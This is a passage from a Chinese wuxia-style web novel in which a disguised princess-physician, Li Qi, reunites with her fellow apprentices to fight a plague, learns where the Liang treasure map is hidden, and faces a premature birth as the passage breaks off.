突然,一名年轻的医者欢喜着跑来,“大人,纪姑娘,林府医,不用再找了,送药来了,瀚海城那边送药来了!” 闻言,三人都是一喜,纷纷停下手上的活快步走向来人。 “当真是从瀚海城送来的?” “药在哪?” “有多少?” 问着,三人就往外走。 报信的人一边跟上,一边说:“已经送到大门口,目测有三十车……纪姑娘,你们戴上面罩啊!” 等三人赶到前院,除了正在清点药材的医者,不少病患也探出头来,期待望着。 三人快步朝宅门走去,见送药来的人还没完全离去,三人脚步都是一顿,转身就要去找药酒。 变故也发生在这瞬间,只见一个长相平凡的男人突然暴起,拔出腰间的佩剑以极快的速度朝子瞮刺来。 所有人都是一惊。 鬼机灵拉着林旭后退,子瞮赤手空拳迎上去。 子瞮堪堪躲过这致命一击,却被那人挑去了面罩,趁那人蓄力的间隙,转身就上了右边的屋顶之上。 只见两人交手几招,越跑越远。 鬼机灵看得皱眉,在众人的惊呼声中,追了上去。 等他追上两人时,两人正打得焦灼。 男人招招狠厉,却又处处留情,好几次都能刺死子瞮,但他总是剑锋一转,给子瞮喘息的时间。 鬼机灵扯下面罩,看热闹不嫌事大,频频拱火让男人别停,还好几次指出子瞮的破绽。 很快,子瞮就累得气喘吁吁。 他破罐子破摔,站在原地不再躲闪。 果然,男人的剑在即将刺破他的喉咙时停了下来。 男人也不收回剑,就那么指着他,一双鼠目中似乎饱含恨意。 子瞮眼中也有愧疚,但更多的是高兴,“师妹,好久不见!” 男人另一只手抓住下颚往上一掀,原本普通平凡没有什么记忆点的面容褪去,一张英美的脸露出来,此人正是本该在金曲楼休养的李棋。 “师父在哪?”李棋问着,手中的剑又逼近了几分。 子瞮坦言答:“鄂阳。” “鄂阳…”李棋手中的剑微微一偏,刺破了子瞮的脖颈,“你和师父是一伙的?你们拿我当棋子!” 李棋的眼眶红了,拿剑的手也不稳,眼看就要再次深入,子瞮也不躲。 一旁的鬼机灵看得直皱眉,一个跳跃,落到李棋身边,抱住了李棋:“小七姐姐,子瞮哥哥现在是大官,你不能当着这么多人的面杀他。” 说着,从李棋手中接过剑,丢给子瞮使唤说:“给小七姐姐擦干净。” 子瞮不言,却接过剑,掀起自己皎白的衣摆仔仔细细擦拭起来。 “小七姐姐,”鬼机灵又喊,李棋愣愣看过去,不确定问,“鬼机灵?” 鬼机灵高兴道:“是我!真是没想到,会在这里见到小七姐姐。” 李棋更是意外,虽然早就从师父口中知晓一些有关鬼机灵的事,但当从纪敏那里得知自己才是邹杲找的人时,她就只当师父那些说辞都是糊弄邹杲胡诌出来的。 如今一见,面前的鬼机灵虽然是男声,但衣着装扮却分明就是女子,也比她记忆中那个腼腆羞涩的小弟弟热情了太多。 她盯着鬼机灵的眉眼看了许久,找出一些相似点,视线又下移,最终停在他的胸部。 “你……”她说着,伸出手就想去捏,但是被鬼机灵先一步躲开了。 鬼机灵调笑道:“几年不见,小七姐姐的流氓做派更上一层楼了!” “你真是女子?”李棋问。 “算半个。”鬼机灵用女声如实答,他白净的脸有些红,让李棋熟悉的感觉又回来了。 “你怎么会在这里?你和子瞮……”李棋说着,虽没后退与他拉开距离,却瞬间变得警觉,大有他敢点头,就要再和他打一架的意思。 鬼机灵连忙撇干净自己,“小七姐姐别误会,是我先来怀鹤乡救人的,和子瞮哥哥在这里遇到只是碰巧。” 他看了子瞮一眼,笑着又对李棋说:“我从小就更喜欢小七姐姐,要是只能在小七姐姐和子瞮哥哥中选一个,那我一定选小七姐姐。” 这话不管真假,都给了李棋很大的安慰。 她像小时候一样,笑着捏了捏鬼机灵的脸蛋,“真乖!” 鬼机灵乖巧笑笑,好奇又问:“小七姐姐怎么会出现在瀚海城送药的队伍里?” “说来话长,回头再和你细说。”李棋又说,“我和你一样,也是来救人的,我结合古方写了几个药方,你看看。” 她说着,脱去外裳,从腰包里掏出几张折叠着的纸张递给鬼机灵。 鬼机灵认真起来,一一看过后高兴说:“我们的思路和小七姐姐的有八九分相似,两相结合,估计就能彻底根治此次的疫病了。药方上的药,小七姐姐送来的药物里应该都有吧?” 李棋也很高兴,她这次来,一是代表金曲楼护送药材,二就是想尽一下自己的绵薄之力。 “那就好!都有,放心吧!” 被孤立的子瞮默默走到鬼机灵身后,想看一看李棋开的药方。 鬼机灵当即就想躲开,却听李棋说:“给他看。我和他的私人恩怨,与这些患疫病的百姓无关。” 鬼机灵立刻把药方给子瞮,笑着抱着李棋的胳膊夸道:“小七姐姐还是那么好,善良温柔又公私分明!” 李棋捏捏他的脸,“你倒是变了许多,不像小时候,害羞又胆小,你跟鬼爷爷离开时,我都生怕你没人护着,被人欺负了去。” “鬼族的人都很好,爷爷也把我保护得很好。”鬼机灵撅着嘴巴嘟哝抱怨,“要不是爷爷他们算到利州会爆发疫病,还没打算放我出来呢。” 李棋笑笑,却不由得想到邹杲。 “鬼爷爷还在虚无岛对吧?”李棋问,“我师父这段时间有给鬼爷爷送过信吗?” 不等鬼机灵回答,就听子瞮先说:“有这么多人记挂他,邹杲轻易死不了的。” 见李棋脸色不对,鬼机灵连忙又说:“五月底的时候,爷爷收到过伯父的信,我帮着爷爷准备好药浴所需的药材才离开的,只要那位倒霉蛋王爷去到虚无岛,爷爷就一定会治好他。” 李棋心想邹杲应该已经出海了,顿时松了口气,“那就好。” 却听鬼机灵讥诮又问:“小七姐姐,你怎么这么关心那个男人啊?你喜欢他吗?” 李棋有些脸红,“大人的事小孩子别管。” 鬼机灵抗议,“我只比小七姐姐和子瞮哥哥小一岁!” “那你也是小孩子!” 两人还欲再争论,下方传来询问声,“大人,你还好吗?” 不等来人看清面貌,李棋已经又戴上了人皮面具。 是邹瑅留下来照顾他的孙忠和他不知道从哪集结来的二十余人,看穿着,像是神武军。 “没事。”子瞮道,“方才是我的故友同我玩闹,并非刺客。” 孙忠仍有余虑。 子瞮笑着看向李棋,“李兄,既是为怀鹤乡疫病而来,不如先同我去看看他们的病症吧。” 李棋这副人皮面具太过普通,此刻还和美丽的鬼机灵靠得极近,虽然鬼机灵脸上没有半分不情愿,但并不妨碍旁人觉得她何德何能能高攀。 孙忠便是其中之一,同时也在猜测李棋的过人之处。 李棋并没有要用真面目见人的打算,用普通的男声说,“既如此,那便先去看看吧。” 她又笑着看向鬼机灵,“我远道而来,劳烦小灵姑娘为我洗手做汤羹不过分吧?”说着,还下流将鬼机灵揽进怀中,下流挑了挑他的下巴。 鬼机灵也配合她,装出一副惊慌又不得不屈服的模样,说‘好’。 孙忠等人看得拳头都硬了,“大人?” 子瞮头疼不已,“李兄医术了得,与纪姑娘也是故交,你们自去忙吧。” 李棋一惊,诧异子瞮对鬼机灵的称呼,子瞮却已经来到她面前,将鬼机灵从她的魔爪中解救了出去。 “请吧,李兄。” 事已至此,李棋只好压下心中疑惑,跟着两人先离开。 一走到钱宅门口,一男两女就迎了上来,分别是沂源、绿意和青怜。 “你们留在外面照看草药,我先进去了解下病情。” 从离开金曲楼那一刻起,绿意和青怜就绝对听从李棋的命令,此刻脸上虽有担忧,但还是应声表示好。 倒是沂源面无表情却不容置喙道:“我、和你、一起。” 认真说罢,不等李棋说什么,从怀中拿出李棋早就准备好的面罩戴上。 暗秋城五子是李棋花钱请来的,她本来只是想他们假扮自己吸引注意,却不料五人非要派人跟着她,一番讨价还价,最后让武功造诣最高的沂源跟着她,以备不时之需。 见沂源已经往里走,李棋无奈,只得先快步跟上去。 虽然已经做好了准备,但当李棋进入宅院,看到其中那一个个皮肤溃烂的病患、听见部分人凄厉悲惨求死的叫声时,就再也顾不得其他。 鬼机灵看出她的悲痛,上前捏捏她的手臂说:“有足够的药材,又有我们师兄妹三人联手,一定能治好他们。” 向来话少的沂源也捏了捏她的肩膀,像是在安抚她。 李棋收回视线没说话,上前细致检查起病情。 被检查的女人畏缩着,她被太多陌生人检查过,最终都无果,已经麻木了,鬼机灵上前告诉她说“这是我的师兄,医术绝不在我之下,配和她了解下你们的情况。” 闻言,女人犹豫看向纪灵,在他鼓励的注视下,才舒展些,伸出溃烂最严重的手臂给李棋看。 “有些像天花。” 鬼机灵点头,“但比天花更严重,发热、胸痛、腹痛腹泻、呕吐等病症都有出现。” 李棋问:“你是说,是古医书中记载过的几种疫病的结合?” 两人说话间,子瞮喊人抱来一个高热昏迷的小孩,李棋当即上前查看。 还没检查完,很快又有病症稍轻的疫病感染者陆续搬来各种症状、不同阶段的病人。 不同程度的都看了几个,李棋心中大概有了底,这才和两人回到后院讨论。 其余医者也都闻讯凑过来,和李棋、鬼机灵还有子瞮一番讨论。 没一会儿,李棋便和两个老医者意见相悖争吵起来,唇枪舌战,谁也不逊色谁。 但随着时间推移,两个老者渐渐败下阵来,眼见两个老者要气急攻心,鬼机灵和子瞮赶忙拿出李棋先前给他们看的药方上前指给两位老者,说:“若是结合这几味药使用,你们还会觉得药性太烈吗?” 两位老者一看都没了声音,许久,他们连拍大腿,“后生可畏,后生可畏啊!” 内部意见不合的最大问题解决了,鬼机灵当即道:“来几个青壮先和我去配药熬药。” 李棋点头表示同意,又说:“除了内服,外敷的也不可少,至少要阻止溃烂处的蔓延,还望几位老前辈和林府医留下和我一同探讨。” 一众医者现在都被李棋这个其貌不扬的男人的医术所折服,听她此刻言语间这么谦逊,他们自然也连忙点头表示好。 很快,钱宅里能动的人都动了起来,还有不少未染病但因为与病患接触过而同样被关在怀鹤乡城中的人也自发赶来帮忙。 三夜两天过去,除了一位老翁,再没有人死去。 李棋和子瞮与一众医者也通过数次改良,在十六个重病患的配合下,成功研究出了能阻止脓疮扩散的外敷药物。 这个过程当然是艰辛且悲怆的,十六个重病患虽然没有丧命,但其中三人丢了手臂,一人被砍断了腿,其余人则被剜去各处的腐肉,才勉强保命。 虽然十六人都是自愿,但李棋还是觉得愧对他们。 从她来到怀鹤乡开始,就没休息过,到目前为止,已经过去了三天三夜。 此刻,她正在照顾被她亲手砍去右臂的中年男人喝药。 子瞮和鬼机灵还有绿意青怜她们都在忙,只有不管旁人只顾她的沂源还坚持陪着她。 一碗药喂完,李棋又检查了男人的伤口,确定他没有发热的迹象,这才起身准备去看其他人。 还没起身,却被男人叫住。 “小老弟,”男人说话的声音很是痛苦,但却笑得很明媚,李棋停下脚步转身又蹲下去看着他,“还有什么需求,你说,我会尽量满足你们。” “你将我们照顾得很好,我没有什么需求了。”男人笑着摇头,又说:“按理说,你救了我,是我的救命恩人,我每日为你上香也不为过,但我想攀个高枝,仗着年龄、厚着脸皮喊你声小老弟。” 豁然熟稔的语气,李棋更觉内疚,声音也有些没夹住,“嗯,叫什么都可以。” 带着哽咽的明显女声让男人和听到的人都是一惊,沂源冷冷发出哼声,并缓慢做出拔刀的动作,才震慑住众人,没有发出太大的声响。 李棋调整过来,回头用本来的声音对沂源说:“别吓他们。” 沂源不语,但周身散发出的凶恶的气息收敛了许多。 李棋又看向众人,“你们看到的的确不是我本来的面目,不以真面目示人并非我藏有坏心,而是为我自身安危考虑,还请各位看在我送来药物的份上,替 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沂源默默上前为她提供一个可以哭泣的怀抱,李棋一转身,扑在他的怀中闷闷流泪。 外敷用猛药是她提出并坚持实行的,虽然很快研制出了有用的外敷药,但他们失去的骨与肉也的确是遭李棋所至。 肉或许还能再长,但被斩断的骨头却是怎么也长不出来了。 “小老弟,别哭,要不是你,不止我们还在遭受脓疮的折磨,外面那些孩子们也还得不到救治呢!” “是啊,那该死的脓疮太折磨人,又疼又痒,伸手去抓还会染到手上,要不是还有我媳妇在,我不止一次想撞墙死了算了。” “我也不止一次想过砍断长满脓疮的双腿,我这一身烂肉能派上些用处,我高兴还来不及呢。” 一声声真挚的宽慰让李棋更加难过。 但她没让自己哭太久,她很快调整好情绪,离开沂源的怀抱,对众人诚挚鞠躬,“谢谢各位爷爷奶奶、伯伯伯母、大哥大姐的体谅与关心,我这就去休息,更不会辜负你们的牺牲。” “好,好啊!” “咳,说这些。” “愿意去休息就好。” “先去休息吧,别看我们都是些快散架的老骨头,但都能活着呢!” “那是,不然也坚持不到今天!” 十六人都笑了起来,李棋也被他们乐观的情绪感染,心里也跟着好受些。 “嗯,大家都要活得长长久久的!”李棋笑着说,“那我就去休息去了,你们感到不适就喊人,我也会找人来门外候着。” 众人七嘴八舌让李棋放心,又催她快走。 李棋找来一名医者,又喊来绿意,才和沂源去后厨院休息。 空余的房间不够了,床铺的数量更是供不应求,看到他们来,在称量药物的林府医关心问:“李兄弟是来休息的吗?房间和床铺都不够,你和你这位兄弟先去我屋中将就一下行吗?” 沂源闻言就要出声,但被李棋拦了下来。 李棋用夹出来的男声应道:“那就打扰了。” “没什么打扰的。”林府医起身给他们引路,“没有李兄弟你的坚持,此刻我应该还在抓耳挠腮睡不着觉。” 李棋笑笑,“大家不藏拙、各抒己见,才最终获得当下的好结果。” 林府医笑笑,明显很是轻松。他是最早来到怀鹤乡的一批医者,他虽然年轻时得到过蛮菩萨的指点,但他的医术并不算精湛。 他的一家老小都靠他过活,刚开始,他也是不情愿来的,在看着同他一起来的医者一个个染病死去,他都做好了死在这里的准备。 万幸,他非但没死,还尽到了医者的本分,也算不枉此生。 林府医将两人带到他的房间里就关上门又回去称量药物去了。 房间很小但医书不少,一部分都被翻烂了。 沂源上前将小床上的医书和衣服收捡好,转过去指着李棋的脸,对她说:“你、取下,睡,我在。” 他依旧言语简洁,没有太大的情绪起伏,但李棋明白他的意思,也很安心,一抬手,取下来脸上闷得难受的人皮面具。 她自己看不到,不知道自己的脸被闷得很红,但她能感受到被闷出来的痘痘,正伸手去摸呢,就见沂源转身出去了。 她一愣,刚准备贴上面具追上去看看情况,就见沂源端着一盆水回来了。 “冷水。” 李棋更加感激,“谢谢你,沂源哥。” 沂源嘴角动了动,一本正经说:“你、给钱。”话落,嘴角似乎上扬些。 李棋先是一愣,反应过来心中豁然开朗许多。 她又突然响起那不太明显的嘴角上扬的弧度,忍不住故意逗他,“沂源哥,你刚刚是不是笑了?” 她以为沂源会冷处理,但沂源坦然点了点头,嘴角又勾了勾,似乎想再笑一笑,但他没成功,笑对他来说好像比杀人还难。 关于沂源不笑不爱说话、偶尔说话还怪异的事,李棋也偷偷问过阎绯和鸾絮,她们说具体的她们也不清楚,只知道和沂源家中的变故有关, 又说,沂源只是不太会笑不太会说话,但他非常好说话,不管要干什么事,只要稍微对他撒下娇,他就会同意陪着, 还说,他们对沂源也没有多好,也就是执行任务遇到新奇的吃食玩意都会带一份,但他们好几次捉弄师父,被发现要全部被罚时,也都是沂源主动站出来背锅。 总之,沂源就是一个你对他好一分,他就会十倍百倍对你更好的人。 “慢慢来。”李棋笑着说罢,上前接过他手里的水放到桌上,屏住呼吸直接将脸泡了进去。 果然很舒爽,她又重复了几次,才停下。 见沂源拿着凳子背对她坐在门口,她心中又觉过意不去。 她扯出垫的被褥铺在床前的小块空地上,又上前拉过沂源,“沂源哥你跟着我也没休息过,不只是我,你也得休息。” 不等沂源拒绝,李棋一边铺用来盖的被子,一边又说:“只要不出意外,他们不会贸然闯进来,就算暴露了,怀鹤乡无外人出入,外边还有官兵把守,身怀大梁宝藏的公主在怀鹤乡的消息一时半会也传不出去,就算再倒霉点,传出去了,那些人只是为财,不会轻易冒着风险闯进来要我的命的。” 李棋笑着看向沂源,“再说了,不是还有沂源哥你嘛!” 沂源定定看着她,一时没有言语,但眉头皱着,像是还没被她说服。 果然,就听沂源道:“你、全盛,我、难敌。” 潜台词应该是我不如你,我保护不好你。 李棋笑笑,“哎呀,那也没事的,子瞮是我的师兄,纪灵是我的师妹,绿意和青怜身手也不差,她们都会保护我的。” 说着,李棋脱鞋上了床,“嘿嘿,捂太久了,脚好臭,沂源哥你堵上鼻子将就睡吧。” 她笑着大咧咧躺了下去,不说不觉得,一放松下来,李棋只觉得浑身都酸痛。 沂源将桌子和凳子都移到门边,将门挡住,这才回到床前李棋在地上铺出的地铺上躺下。 见此,李棋放下心来,脸上带着笑意很快就沉沉睡去。 59.辽炀卷·第十四章 14 李棋这一觉从中午睡到了晚上,她感到饥饿睁开眼的时候,沂源已经在门边的桌子前坐着了。 除了一个包袱,桌子上还放着一盘饼和两碗粥,都还冒着热气。 沂源听到她的动静,转过身来对她招手,示意她过去吃饭。 李棋迫不及待拿起一个饼啃了一大口,眼睛当即就亮了,“好香好好吃!这几天不是粥就是面糊糊,我吃得舌头都快失去味觉了。” 沂源没说什么,只拿起一个饼也吃了起来。 “我是睡了很久吗?他们怎么有时间烙饼吃?”李棋一边吃,一边不由好奇。 闻言,沂源停下动作,看向李棋摇了摇头。 李棋困惑,“没有睡很久?还是不是他们烙的?” 沂源点了好几下头,李棋这才肯定,“我没有睡很久,饼也不是他们烙的。” 沂源再次点头。 李棋好笑,“沂源哥,你多说两句话会被雨中花前辈扣钱吗?” 李棋第一次在沂源脸上看到窘迫的情绪,虽然转瞬即逝。 “不会。”沂源一字一顿道,“说话、很累。” 见他不像是在找借口,李棋也不逼他,只竖起大拇指夸赞道:“那你就不说吧,不过,沂源哥厨艺很好呢,这么简陋的环境,还能做出这么好吃的饼,真的很厉害。” 沂源的脸似乎有些红,李棋只当他没怎么被夸赞,不由得又夸道:“真的很好吃!沂源哥可以再多做些吗,我想分给大家也尝尝。” 说罢,李棋想起这大宅院中的人数,自己先否决了,“还是算了,人太多了,就算一人只尝一口,你也得烙很久,估计胳膊都要废掉,” 她偷笑道:“还是只偷偷烙给我一个人吃吧。” 沂源点点头,应该是表示同意了。 两人又说又笑吃完了桌上的食物,当然,主要是李棋说,沂源听。 吃饱喝足,李棋往脸上抹了些药水,从沂源拿来的包袱里取出干净鞋袜换上,又戴上了人皮面具。 外面已经黑透了,林府医还坐在药堆中间,面前的桌子上堆了很多称量好的药材,他人掩藏在药物堆中,似乎是累得睡着了。 李棋上前一看,人果然睡着了。 “林府医,林府医,”李棋拍拍他的肩膀,温声叫他,好几下才将人叫醒。 林旭还有些迷糊,“李兄弟,你醒了。” “嗯。”李棋点点头,“林府医,你回房间去睡吧。” 林旭应了声好,起身就往屋里走,显然是困极了。 李棋不由好笑,自然也感激,将人送回房间,才又倒回来。 然后就碰上回来休息的鬼机灵,鬼机灵看到她很高兴,但比起初见,鬼机灵疲累很多,这些天,所有人都很累。 鬼机灵上前,小声喊:“姐姐,你睡得还好吗?吃过晚饭没有?” 李棋摸摸他眼下的黑青,“睡得很好,也吃过晚饭了,你呢,吃过没?” 鬼机灵点点头,“没什么胃口,但也喝了些面糊。” 他又说:“那十六人的情况很好,在你睡着的期间,虽有一人发热,但现在已经降下去了,性命应该无忧。” “好。”李棋心疼摸摸鬼机灵的脸,“你快去睡觉吧,晚上有我照看,放心。” 鬼机灵应了声好,拖着疲惫的身体进入了房间。 目送鬼机灵进屋,李棋和沂源服下丹药,又戴上面罩,才离开后厨院。 她先去看了看那十六人,确定他们中没有人有异样,才转身去找绿意和青怜,喊两人去睡觉休息。 两人眼下也是一片乌青,她们看不清李棋的脸,只能看沂源,见沂源脸上没有一点疲态,才放下心来,乖乖去找房间休息。 之后,李棋又挨个房间查看。 钱宅太大,房间太多,挨个查下来还挺累,但李棋还是坚持都查了一遍。 除了几个不算太严重的发热,都没有大碍。 一一在门口看过,确定没有异样,李棋在后花园中的一棵柿子树上找到了子瞮。 子瞮坐在枝丫山,手里拿着个小柿子也不知道在想些什么。 李棋看向沂源,话还没说出口,就见沂源一跃跳到了旁边的凉亭顶上坐下。 见状,李棋后退几步奔跑借力跃到柿子树上,和子瞮隔着中间的主树干坐了下来。 子瞮将手中那黄橙橙的小柿子递到她面前,“有些涩口,要尝尝吗?” 李棋结果试探着咬了一口,香甜的味道瞬间充斥满整个口腔。 “甜的啊!”李棋说着两口直接塞到了嘴巴里。 子瞮像是有些诧异,又伸手去摘了一个,用手中的手帕擦了擦便咬了一口,但很快,他就吐了出来,定定看着李棋。 那眼神,像是在说:你为了捉弄我,也太能忍了吧。 李棋很是无辜,她又摘了一个,拿过子瞮手里的帕子擦了擦又咬了一口。 她还细细品尝了,才看向子瞮,“就是甜的啊,很香甜。” 说着,她将手里剩下的半个递给子瞮,“不信你自己尝。” 在李棋真挚的目光下,子瞮将信将疑接过咬了一小口,仔细咀嚼着,但很快,他又吐了。 “你是不是被人下毒了?” 李棋一急,扑过去就要抓住他的手把脉,却被子瞮躲过。 “没人能给我下药。”他浅浅笑着说着,摘了几个柿子扔给不远处的沂源,“多谢你照顾我师妹,给你也尝尝。” 沂源稳稳接住,没有搭理他,只看了李棋一眼,便收回视线研究手里的小柿子去了。 子瞮又摘了些回过头递给李棋,“喜欢吃就多吃,看样子还要下雨,过几天估计就掉光了。” 李棋没接,定定看着他,问:“你背后是不是还有什么人在胁迫你做什么事情?” 子瞮哑然,随即好笑道:“小七你在说些什么啊?” 见李棋不语,他恍然大悟又笑道:“你是说我和师父断绝关系也要入朝为官的事吗?没有胁迫,想当官成为人上人不需要任何理由,何况我有这个才能。” 李棋依旧不语,却拿过他手中的一个柿子擦干净吃了起来。 “我来擦。”子瞮说着接过手帕擦拭手里剩下的小柿子,然后等着李棋吃完马上递给她。 李棋又接过第二个,才听他缓缓开口说:“暴露你的真实身份,是我对不起你,但皇帝怀疑我是梁国遗脉,又抓住了师父,不得已,我才诱骗师父画出你的画像,将你的身份告诉了皇帝。” “师父是被成武帝抓住的?”李棋看向子瞮,“意思是,你现在所作所为,除了成为人上人,还为了保全师父?” 不等子瞮回答,李棋又说:“师父完全不知情?更没有和成武帝有过往来?” 子瞮点头,李棋又说:“那无忧是怎么回事?怎么刚好研制出来,就丢到了嬴国皇宫。” “还有师父赶到鄂阳的时间,怎么会那么巧?” 子瞮摇头,“那我就不知道了。” 他又说:“师父此刻还在成武帝的手里,碍于师父的本事和邹杲的性命,他应该不会轻易对师父动手。” “但我走到这一步,为成武帝做了太多见不得光的事,已经没退路了,我只能依附皇权过活。”他说着笑了,只是笑得很是苦涩。 李棋一时沉默,不知道说什么好。 静静又吃了两个柿子,李棋才轻声开口,“师兄,你知道梁国宝藏在哪儿吗?” 子瞮一愣,扭头沉默看着她。 李棋嘲讽轻笑,“我身为梁国公主,因为所谓宝藏被各路人鬼蛇神追了一路,但师兄你知道的,在逃离被大火吞噬的梁皇宫的前一天,我就因为发热失去了过往记忆,我真的对梁国宝藏毫不知情,更别说什么藏在我身上的藏宝图了。” 子瞮点点头,定定看了李棋许久,淡淡开口说出一个惊天秘辛,“藏宝图在我身上。” 李棋一惊,“在你身上?” 子瞮点头,“在我背上。”又说,“是用师父调配的秘方由皇上亲手刺成,要其显形,只有先服下只有师父一人知晓的药方。” “藏匿宝藏的地方还设置了八道机关,一步踏错就会造成整体的坍塌,连同人和宝藏一起掩埋,破解机关的方法只有你知道,为了保护你,在一切事成之后,命师父用药抹去了你的记忆。” 李棋久久不知道该作何反应,好半天才挑出其中不合理之处,问道:“既然要保护我,父皇为何不一并抹去你的记忆?” “因为皇上信不过师父。”子瞮说,“师父本是暗秋城挂名杀手,一时不慎落入梁国大牢,皇上得知他身份后用鬼族诱哄,师父才留在梁国为皇上做事。” “但皇上并没有完成承诺,让鬼族回到陆地上生活,师父将你我养大,还传授你我医术、武功已经是仁至义尽。” 李棋知晓师父的出身,却不知道师父成为他们师父前的过往。 她一时更加迷糊,已经弄不清自己到底是什么身份,更理不清谁说的是真的了。 她知道再问无益,也就没有再追问。 片刻,才听子瞮又说:“梁国的宝藏是梁国自开国起,历代积累下来的,那些本来是以防万一、让梁国东山再起的保证,但到你这,皇上只希望你后半生衣食无忧、健康无虞。” “他说,你若有能力吃饱穿暖,就让我当做不知情,若你吃不饱穿不暖受人欺负,我再告诉你,助你取出宝藏。” “这件事是我对不起你,无论你做什么决定,我都会支持你。”子瞮顿了顿,“哪怕你要为国复仇。” 李棋闻言又是一惊怔,她僵硬转头看向子瞮。 子瞮脸上带着温柔的笑意,但没有半分玩笑的意味。 李棋一时头疼万分,脑海中那身着龙袍的模糊身影的面容似乎清晰了几分,还多了些她陌生的记忆。 她似乎被什么人抱着抛高高,在男人爽朗的笑声下,坚实的手臂总能稳稳接住她,她也跟着哈哈直笑,央求‘举高点,再举高点’,旁边似乎还有母亲身份的女子让他们小心点、别摔了的叮嘱。 她努力想看清两人的脸,却怎么也看不清,反而头痛欲裂,差点从树上摔下去。 子瞮和沂源都是一惊,子瞮连忙起身接住她,将她带到地上。 沂源迎上来接过她,从后边撑着她。 天边泛起了鱼肚白,还飘起了毛毛细雨,子瞮道:“下雨了,师妹,我们先回去吧。” 不等李棋说什么,子瞮和沂源一左一右扶着她,带着她往后厨院走去。 林府医还没起,鬼机灵的房间里,绿意二人挤在简易的小床上还在休息,再容纳不下更多人,李棋如今的伪装也不合适和二人睡一起。 和鬼机灵交接好,三人都进入了子瞮的房间,唯一的床留给李棋,沂源和子瞮则席地而睡。 李棋坐在床上,没有丝毫困意。 沂源打来冷水,想让她取下人皮面具,李棋照做。 洗好脸,子瞮也整理好床铺,拉她过去坐下。 子瞮握着她的手,温柔道:“师父在医毒上的盛名绝非人云亦云,想不起就不要想了。” 他又说:“皇上本来也只希望你好好活着,现在又有金曲楼护着你,无论你想做什么,想什么时候做,都来得及,所以,不用急,不要把自己逼太狠。” 说话间,人狠话不多的沂源已经帮李棋脱去了鞋子。 李棋点点头,合衣躺在床上,背对两人蜷缩起来。 子瞮叹了口气,和沂源短暂对视一样,挑了靠门的一个床位就过下躺下了。 沂源在中间的凳子上坐下,一时无言,但三人都知道,三个人没有一个人睡着。 后边,子瞮起来点了些安眠的药草,三人才陆续睡去。 之后,李棋再没有和子瞮谈起过相关的事。 李棋和子瞮等人每日除了病患就是病患,依旧忙得不行,唯一的闲人就是只在意李棋的沂源。 沾李棋的光,十余个医者还有绿意和青怜也终于吃上了米粥和面糊以外的食物。 眨眼,又是三天过去,雨果然又下了起来。 雨刚下的时候,子瞮就生怕上游决堤、水再漫进怀鹤乡,连忙写了封信,让孙忠送给邹瑅。 果然不出所料,到今晚,雨下得格外的大,噼里啪啦的,仿佛要将一切生灵冲洗干净。 几天下来,李棋习惯了夜间值守,也习惯一一去检查所有人情况的习惯。 今日的雨虽然越下越大,但她和沂源吃饱后,还是撑着伞,照例一一去看。 才查了几间房,还未去休息的绿意和青怜急匆匆跑来,“公子,不好了,马跑了!” 李棋脚步一顿,拧眉问:“什么马跑了?” 两人已经来到跟前,绿意压低声音道:“玄翼和小灵狐跑了。” “什么?”李棋转身就往外快步走去。 除了邹杲带着千赤在金曲楼不辞而别之后的几日,玄翼其余时候都很乖,甚至能听懂李棋一些简单的指令,所以李棋才放心将小灵狐也交给它看顾。 青怜一边跟着她的脚步,一边详细说:“马夫说那只小灵狐经常出去玩耍,今日出去了一阵,回来玄翼就开始躁动,方才更是用头猛撞栅栏,马夫们担心它撞出好歹,开门去查看,它就是趁着这时候冲出来,带着小灵狐跑不见了。” 突然,李棋停下了脚步,绿意和青怜都很诧异,“公子?” 李棋抬手,示意两人别出声。 很快,她们也听到了,好像是细微的哭声,大晚上的,还下着雨,女鬼一样,怪瘆人的。 向来跟在李棋身后的沂源当即快步走在前面,四人警惕朝着声音来源寻去。 拐过回廊,四人来到一间房门前,里面都是孕妇。 李棋快步上前,抢过沂源手中的灯笼推开门寻声看去。 灯笼散发的光亮照耀下,只见角落处一个妇人满头大汗,她身上用于保暖的衣物上已经被水迹打湿,她左右两个妇人在安慰她,但无济于事,她显然正承受着极大的痛苦。 “怎么了?”李棋将灯笼甩给身后的沂源,快步朝妇人走去。 妇人自己已经疼得说不出话来,她左边那个妇人带着颤音道:“她一直喊疼,怕是要生了……” 这屋中十一个孕妇的情况李棋都了解,按照时间推算,她们中不可能有人在这个月生产。 再一看妇人的肚子,明显不足月。 也有生产过的妇人看出这点,连忙指了出来,“这怕不是要生了,而是早产。” “怎么会突然早产,这可是要一尸两命的啊!” 妇人们都恐慌起来。 “沂源哥,你先去烧热水;青怜绿意,你们去去通知小灵和我师兄,然后去寻马。”李棋快速安排完,一边抱起即将生产的妇人,一边安抚其余妇人,“你们别激动,冷静下来,深呼吸,冷静下来。” 沂源留下伞和灯笼,施展轻功回了后厨院。 见状,想留下帮忙、但没有任何这方面经验的青怜和绿意也只能按照李棋的指令,先去通知两人。 一群妇人也意识到严重性,连忙照做。 李棋又说:“千万别紧张,别动了胎气,一个我还勉强能救,多了就都救不了了,你们都冷静点,别怕、别激动。” 众人点头,又连连深呼吸,还有人催促她快救她抱着的妇人。 李棋确定她们都冷静下来,脚一踢、腾出一只手接住雨伞塞到妇人与自己的缝隙间固定着,也顾不上再拿灯笼照明,抱着妇人按照记忆往后厨院冲去。 妇人本就感染了疫病,经过几天的治疗虽然得到了缓解,但谁也不知道她腹中的小孩有没有被影响。 除了厨院,其他地方都是病患,她只能冒险将人往后厨院带。 李棋才抱着人跨进院门,就听子瞮在院门左边的第一间房门口朝她喊道:“小七,把人抱到这来。” 这间房很狭小,之前只放了些锅碗瓢盆。 如今锅碗瓢盆都被搬了出来,地上还铺上了被褥。 李棋才将人放下,鬼机灵拿来剪刀等勉强能凑到的用于接生的工具。 “这才七个多月吧?”鬼机灵很是担忧。 李棋回答了一声‘是’,又有一位老医者被搀扶着过来,“我救活过八月早产的妇人和其儿子,让我来。” 几人闻声连忙让开,只有以身体支撑妇人的李棋没起身。 老者上前准备跪在妇人的另一边,但还没跪下去,就听很清脆的一声咔嚓,众人都是一愣,很快,就听老者痛 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李棋慌乱掐着她的人中虎口,“别睡,醒醒,别睡,求你了,醒过来,快醒过来……” 李棋绝望到哭出来。 鬼机灵也是同样的,他一边抹泪,一边从托盘中拿出一些三七用嘴巴咀嚼过后,吐出来塞到妇人嘴里。 门被打开,子瞮端着热水进来。 浓郁的血腥味让子瞮也是一惊,他快步上前,放下水盆急忙摸了摸妇人的脉搏,当即抓住李棋的手,“小七,振作起来,你还能救她!” 李棋猛地抬头看向子瞮,“怎么救?” “师父给你的十八刀呢,拿出来,剖腹取子。” 